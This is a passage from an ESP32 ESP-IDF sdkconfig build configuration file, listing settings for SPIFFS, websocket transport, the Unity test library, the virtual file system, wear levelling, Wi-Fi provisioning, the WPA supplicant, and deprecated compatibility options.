Configuration 1357 | # 1358 | CONFIG_SPIFFS_CACHE=y 1359 | CONFIG_SPIFFS_CACHE_WR=y 1360 | # CONFIG_SPIFFS_CACHE_STATS is not set 1361 | # end of SPIFFS Cache Configuration 1362 | 1363 | CONFIG_SPIFFS_PAGE_CHECK=y 1364 | CONFIG_SPIFFS_GC_MAX_RUNS=10 1365 | # CONFIG_SPIFFS_GC_STATS is not set 1366 | CONFIG_SPIFFS_PAGE_SIZE=256 1367 | CONFIG_SPIFFS_OBJ_NAME_LEN=32 1368 | # CONFIG_SPIFFS_FOLLOW_SYMLINKS is not set 1369 | CONFIG_SPIFFS_USE_MAGIC=y 1370 | CONFIG_SPIFFS_USE_MAGIC_LENGTH=y 1371 | CONFIG_SPIFFS_META_LENGTH=4 1372 | CONFIG_SPIFFS_USE_MTIME=y 1373 | 1374 | # 1375 | # Debug Configuration 1376 | # 1377 | # CONFIG_SPIFFS_DBG is not set 1378 | # CONFIG_SPIFFS_API_DBG is not set 1379 | # CONFIG_SPIFFS_GC_DBG is not set 1380 | # CONFIG_SPIFFS_CACHE_DBG is not set 1381 | # CONFIG_SPIFFS_CHECK_DBG is not set 1382 | # CONFIG_SPIFFS_TEST_VISUALISATION is not set 1383 | # end of Debug Configuration 1384 | # end of SPIFFS Configuration 1385 | 1386 | # 1387 | # TCP Transport 1388 | # 1389 | 1390 | # 1391 | # Websocket 1392 | # 1393 | CONFIG_WS_TRANSPORT=y 1394 | CONFIG_WS_BUFFER_SIZE=1024 1395 | # CONFIG_WS_DYNAMIC_BUFFER is not set 1396 | # end of Websocket 1397 | # end of TCP Transport 1398 | 1399 | # 1400 | # Ultra Low Power (ULP) Co-processor 1401 | # 1402 | # CONFIG_ULP_COPROC_ENABLED is not set 1403 | # end of Ultra Low Power (ULP) Co-processor 1404 | 1405 | # 1406 | # Unity unit testing library 1407 | # 1408 | CONFIG_UNITY_ENABLE_FLOAT=y 1409 | CONFIG_UNITY_ENABLE_DOUBLE=y 1410 | # CONFIG_UNITY_ENABLE_64BIT is not set 1411 | # CONFIG_UNITY_ENABLE_COLOR is not set 1412 | CONFIG_UNITY_ENABLE_IDF_TEST_RUNNER=y 1413 | # CONFIG_UNITY_ENABLE_FIXTURE is not set 1414 | # CONFIG_UNITY_ENABLE_BACKTRACE_ON_FAIL is not set 1415 | # end of Unity unit testing library 1416 | 1417 | # 1418 | # Virtual file system 1419 | # 1420 | CONFIG_VFS_SUPPORT_IO=y 1421 | CONFIG_VFS_SUPPORT_DIR=y 1422 | CONFIG_VFS_SUPPORT_SELECT=y 1423 | CONFIG_VFS_SUPPRESS_SELECT_DEBUG_OUTPUT=y 1424 | CONFIG_VFS_SUPPORT_TERMIOS=y 1425 | 1426 | # 1427 | # Host File System I/O (Semihosting) 1428 | # 1429 | CONFIG_VFS_SEMIHOSTFS_MAX_MOUNT_POINTS=1 1430 | # end of Host File System I/O (Semihosting) 1431 | # end of Virtual file system 1432 | 1433 | # 1434 | # Wear Levelling 1435 | # 1436 | # CONFIG_WL_SECTOR_SIZE_512 is not set 1437 | CONFIG_WL_SECTOR_SIZE_4096=y 1438 | CONFIG_WL_SECTOR_SIZE=4096 1439 | # end of Wear Levelling 1440 | 1441 | # 1442 | # Wi-Fi Provisioning Manager 1443 | # 1444 | CONFIG_WIFI_PROV_SCAN_MAX_ENTRIES=16 1445 | CONFIG_WIFI_PROV_AUTOSTOP_TIMEOUT=30 1446 | CONFIG_WIFI_PROV_BLE_FORCE_ENCRYPTION=y 1447 | # end of Wi-Fi Provisioning Manager 1448 | 1449 | # 1450 | # Supplicant 1451 | # 1452 | CONFIG_WPA_MBEDTLS_CRYPTO=y 1453 | CONFIG_WPA_MBEDTLS_TLS_CLIENT=y 1454 | # CONFIG_WPA_WAPI_PSK is not set 1455 | # CONFIG_WPA_SUITE_B_192 is not set 1456 | # CONFIG_WPA_DEBUG_PRINT is not set 1457 | # CONFIG_WPA_TESTING_OPTIONS is not set 1458 | # CONFIG_WPA_WPS_STRICT is not set 1459 | # CONFIG_WPA_11KV_SUPPORT is not set 1460 | # CONFIG_WPA_MBO_SUPPORT is not set 1461 | # CONFIG_WPA_DPP_SUPPORT is not set 1462 | # CONFIG_WPA_11R_SUPPORT is not set 1463 | # CONFIG_WPA_WPS_SOFTAP_REGISTRAR is not set 1464 | # end of Supplicant 1465 | # end of Component config 1466 | 1467 | # Deprecated options for backward compatibility 1468 | # CONFIG_NO_BLOBS is not set 1469 | # CONFIG_ESP32_NO_BLOBS is not set 1470 | # CONFIG_ESP32_COMPATIBLE_PRE_V2_1_BOOTLOADERS is not set 1471 | # CONFIG_ESP32_COMPATIBLE_PRE_V3_1_BOOTLOADERS is not set 1472 | # CONFIG_LOG_BOOTLOADER_LEVEL_NONE is not set 1473 | # CONFIG_LOG_BOOTLOADER_LEVEL_ERROR is not set 1474 | # CONFIG_LOG_BOOTLOADER_LEVEL_WARN is not set 1475 | CONFIG_LOG_BOOTLOADER_LEVEL_INFO=y 1476 | # CONFIG_LOG_BOOTLOADER_LEVEL_DEBUG is not set 1477 | # CONFIG_LOG_BOOTLOADER_LEVEL_VERBOSE is not set 1478 | CONFIG_LOG_BOOTLOADER_LEVEL=3 1479 | # CONFIG_APP_ROLLBACK_ENABLE is not set 1480 | # CONFIG_FLASH_ENCRYPTION_ENABLED is not set 1481 | # CONFIG_FLASHMODE_QIO is not set 1482 | # CONFIG_FLASHMODE_QOUT is not set 1483 | CONFIG_FLASHMODE_DIO=y 1484 | # CONFIG_FLASHMODE_DOUT is not set 1485 | CONFIG_MONITOR_BAUD=115200 1486 | CONFIG_OPTIMIZATION_LEVEL_DEBUG=y 1487 | CONFIG_COMPILER_OPTIMIZATION_LEVEL_DEBUG=y 1488 | # CONFIG_OPTIMIZATION_LEVEL_RELEASE is not set 1489 | # CONFIG_COMPILER_OPTIMIZATION_LEVEL_RELEASE is not set 1490 | CONFIG_OPTIMIZATION_ASSERTIONS_ENABLED=y 1491 | # CONFIG_OPTIMIZATION_ASSERTIONS_SILENT is not set 1492 | # CONFIG_OPTIMIZATION_ASSERTIONS_DISABLED is not set 1493 | CONFIG_OPTIMIZATION_ASSERTION_LEVEL=2 1494 | # CONFIG_CXX_EXCEPTIONS is not set 1495 | CONFIG_STACK_CHECK_NONE=y 1496 | # CONFIG_STACK_CHECK_NORM is not set 1497 | # CONFIG_STACK_CHECK_STRONG is not set 1498 | # CONFIG_STACK_CHECK_ALL is not set 1499 | # CONFIG_WARN_WRITE_STRINGS is not set 1500 | # CONFIG_ESP32_APPTRACE_DEST_TRAX is not set 1501 | CONFIG_ESP32_APPTRACE_DEST_NONE=y 1502 | CONFIG_ESP32_APPTRACE_LOCK_ENABLE=y 1503 | CONFIG_ADC2_DISABLE_DAC=y 1504 | # CONFIG_MCPWM_ISR_IN_IRAM is not set 1505 | # CONFIG_EVENT_LOOP_PROFILING is not set 1506 | CONFIG_POST_EVENTS_FROM_ISR=y 1507 | CONFIG_POST_EVENTS_FROM_IRAM_ISR=y 1508 | # CONFIG_OTA_ALLOW_HTTP is not set 1509 | # CONFIG_TWO_UNIVERSAL_MAC_ADDRESS is not set 1510 | CONFIG_FOUR_UNIVERSAL_MAC_ADDRESS=y 1511 | CONFIG_NUMBER_OF_UNIVERSAL_MAC_ADDRESS=4 1512 | # CONFIG_ESP_SYSTEM_PD_FLASH is not set 1513 | CONFIG_ESP32_DEEP_SLEEP_WAKEUP_DELAY=2000 1514 | CONFIG_ESP32_RTC_CLK_SRC_INT_RC=y 1515 | CONFIG_ESP32_RTC_CLOCK_SOURCE_INTERNAL_RC=y 1516 | # CONFIG_ESP32_RTC_CLK_SRC_EXT_CRYS is not set 1517 | # CONFIG_ESP32_RTC_CLOCK_SOURCE_EXTERNAL_CRYSTAL is not set 1518 | # CONFIG_ESP32_RTC_CLK_SRC_EXT_OSC is not set 1519 | # CONFIG_ESP32_RTC_CLOCK_SOURCE_EXTERNAL_OSC is not set 1520 | # CONFIG_ESP32_RTC_CLK_SRC_INT_8MD256 is not set 1521 | # CONFIG_ESP32_RTC_CLOCK_SOURCE_INTERNAL_8MD256 is not set 1522 | CONFIG_ESP32_RTC_CLK_CAL_CYCLES=1024 1523 | # CONFIG_ESP32_XTAL_FREQ_26 is not set 1524 | CONFIG_ESP32_XTAL_FREQ_40=y 1525 | # CONFIG_ESP32_XTAL_FREQ_AUTO is not set 1526 | CONFIG_ESP32_XTAL_FREQ=40 1527 | CONFIG_ESP32_PHY_CALIBRATION_AND_DATA_STORAGE=y 1528 | # CONFIG_ESP32_PHY_INIT_DATA_IN_PARTITION is not set 1529 | CONFIG_ESP32_PHY_MAX_WIFI_TX_POWER=20 1530 | CONFIG_ESP32_PHY_MAX_TX_POWER=20 1531 | CONFIG_REDUCE_PHY_TX_POWER=y 1532 | CONFIG_ESP32_REDUCE_PHY_TX_POWER=y 1533 | # CONFIG_SPIRAM_SUPPORT is not set 1534 | # CONFIG_ESP32_SPIRAM_SUPPORT is not set 1535 | # CONFIG_ESP32_DEFAULT_CPU_FREQ_80 is not set 1536 | CONFIG_ESP32_DEFAULT_CPU_FREQ_160=y 1537 | # CONFIG_ESP32_DEFAULT_CPU_FREQ_240 is not set 1538 | CONFIG_ESP32_DEFAULT_CPU_FREQ_MHZ=160 1539 | CONFIG_TRACEMEM_RESERVE_DRAM=0x0 1540 | # CONFIG_ESP32_PANIC_PRINT_HALT is not set 1541 | CONFIG_ESP32_PANIC_PRINT_REBOOT=y 1542 | # CONFIG_ESP32_PANIC_SILENT_REBOOT is not set 1543 | # CONFIG_ESP32_PANIC_GDBSTUB is not set 1544 | CONFIG_SYSTEM_EVENT_QUEUE_SIZE=32 1545 | CONFIG_SYSTEM_EVENT_TASK_STACK_SIZE=2304 1546 | CONFIG_MAIN_TASK_STACK_SIZE=3584 1547 | CONFIG_CONSOLE_UART_DEFAULT=y 1548 | # CONFIG_CONSOLE_UART_CUSTOM is not set 1549 | # CONFIG_CONSOLE_UART_NONE is not set 1550 | # CONFIG_ESP_CONSOLE_UART_NONE is not set 1551 | CONFIG_CONSOLE_UART=y 1552 | CONFIG_CONSOLE_UART_NUM=0 1553 | CONFIG_CONSOLE_UART_BAUDRATE=115200 1554 | CONFIG_INT_WDT=y 1555 | CONFIG_INT_WDT_TIMEOUT_MS=300 1556 | CONFIG_INT_WDT_CHECK_CPU1=y 1557 | CONFIG_TASK_WDT=y 1558 | # CONFIG_TASK_WDT_PANIC is not set 1559 | CONFIG_TASK_WDT_TIMEOUT_S=5 1560 | CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU0=y 1561 | CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU1=y 1562 | # CONFIG_ESP32_DEBUG_STUBS_ENABLE is not set 1563 | CONFIG_ESP32_DEBUG_OCDAWARE=y 1564 | CONFIG_BROWNOUT_DET=y 1565 | CONFIG_ESP32_BROWNOUT_DET=y 1566 | CONFIG_BROWNOUT_DET_LVL_SEL_0=y 1567 | CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_0=y 1568 | # CONFIG_BROWNOUT_DET_LVL_SEL_1 is not set 1569 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_1 is not set 1570 | # CONFIG_BROWNOUT_DET_LVL_SEL_2 is not set 1571 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_2 is not set 1572 | # CONFIG_BROWNOUT_DET_LVL_SEL_3 is not set 1573 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_3 is not set 1574 | # CONFIG_BROWNOUT_DET_LVL_SEL_4 is not set 1575 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_4 is not set 1576 | # CONFIG_BROWNOUT_DET_LVL_SEL_5 is not set 1577 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_5 is not set 1578 | # CONFIG_BROWNOUT_DET_LVL_SEL_6 is not set 1579 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_6 is not set 1580 | # CONFIG_BROWNOUT_DET_LVL_SEL_7 is not set 1581 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_7 is not set 1582 | CONFIG_BROWNOUT_DET_LVL=0 1583 | CONFIG_ESP32_BROWNOUT_DET_LVL=0 1584 | # CONFIG_DISABLE_BASIC_ROM_CONSOLE is not set 1585 | CONFIG_IPC_TASK_STACK_SIZE=1024 1586 | CONFIG_TIMER_TASK_STACK_SIZE=3584 1587 | # CONFIG_ESP32_ENABLE_COREDUMP_TO_FLASH is not set 1588 | # CONFIG_ESP32_ENABLE_COREDUMP_TO_UART is not set 1589 | CONFIG_ESP32_ENABLE_COREDUMP_TO_NONE=y 1590 | CONFIG_TIMER_TASK_PRIORITY=1 1591 | CONFIG_TIMER_TASK_STACK_DEPTH=2048 1592 | CONFIG_TIMER_QUEUE_LENGTH=10 1593 | # CONFIG_ENABLE_STATIC_TASK_CLEAN_UP_HOOK is not set 1594 | # CONFIG_HAL_ASSERTION_SILIENT is not set 1595 | # CONFIG_L2_TO_L3_COPY is not set 1596 | CONFIG_ESP_GRATUITOUS_ARP=y 1597 | CONFIG_GARP_TMR_INTERVAL=60 1598 | CONFIG_TCPIP_RECVMBOX_SIZE=32 1599 | CONFIG_TCP_MAXRTX=12 1600 | CONFIG_TCP_SYNMAXRTX=12 1601 | CONFIG_TCP_MSS=1440 1602 | CONFIG_TCP_MSL=60000 1603 | CONFIG_TCP_SND_BUF_DEFAULT=5744 1604 | CONFIG_TCP_WND_DEFAULT=5744 1605 | CONFIG_TCP_RECVMBOX_SIZE=6 1606 | CONFIG_TCP_QUEUE_OOSEQ=y 1607 | CONFIG_TCP_OVERSIZE_MSS=y 1608 | # CONFIG_TCP_OVERSIZE_QUARTER_MSS is not set 1609 | # CONFIG_TCP_OVERSIZE_DISABLE is not set 1610 | CONFIG_UDP_RECVMBOX_SIZE=6 1611 | CONFIG_TCPIP_TASK_STACK_SIZE=3072 1612 | CONFIG_TCPIP_TASK_AFFINITY_NO_AFFINITY=y 1613 | # CONFIG_TCPIP_TASK_AFFINITY_CPU0 is not set 1614 | # CONFIG_TCPIP_TASK_AFFINITY_CPU1 is not set 1615 | CONFIG_TCPIP_TASK_AFFINITY=0x7FFFFFFF 1616 | # CONFIG_PPP_SUPPORT is not set 1617 | CONFIG_ESP32_TIME_SYSCALL_USE_RTC_HRT=y 1618 | CONFIG_ESP32_TIME_SYSCALL_USE_RTC_FRC1=y 1619 | # CONFIG_ESP32_TIME_SYSCALL_USE_RTC is not set 1620 | # CONFIG_ESP32_TIME_SYSCALL_USE_HRT is not set 1621 | # CONFIG_ESP32_TIME_SYSCALL_USE_FRC1 is not set 1622 | # CONFIG_ESP32_TIME_SYSCALL_USE_NONE is not set 1623 | CONFIG_ESP32_PTHREAD_TASK_PRIO_DEFAULT=5 1624 | CONFIG_ESP32_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072 1625 | CONFIG_ESP32_PTHREAD_STACK_MIN=768 1626 | CONFIG_ESP32_DEFAULT_PTHREAD_CORE_NO_AFFINITY=y 1627 | # CONFIG_ESP32_DEFAULT_PTHREAD_CORE_0 is not set 1628 | # CONFIG_ESP32_DEFAULT_PTHREAD_CORE_1 is not set 1629 | CONFIG_ESP32_PTHREAD_TASK_CORE_DEFAULT=-1 1630 | CONFIG_ESP32_PTHREAD_TASK_NAME_DEFAULT="pthread" 1631 | CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ABORTS=y 1632 | # CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_FAILS is not set 1633 | # CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ALLOWED is not set 1634 | # CONFIG_ESP32_ULP_COPROC_ENABLED is not set 1635 | CONFIG_SUPPRESS_SELECT_DEBUG_OUTPUT=y 1636 | CONFIG_SUPPORT_TERMIOS=y 1637 | CONFIG_SEMIHOSTFS_MAX_MOUNT_POINTS=1 1638 | # End of deprecated options 1639 | --------------------------------------------------------------------------------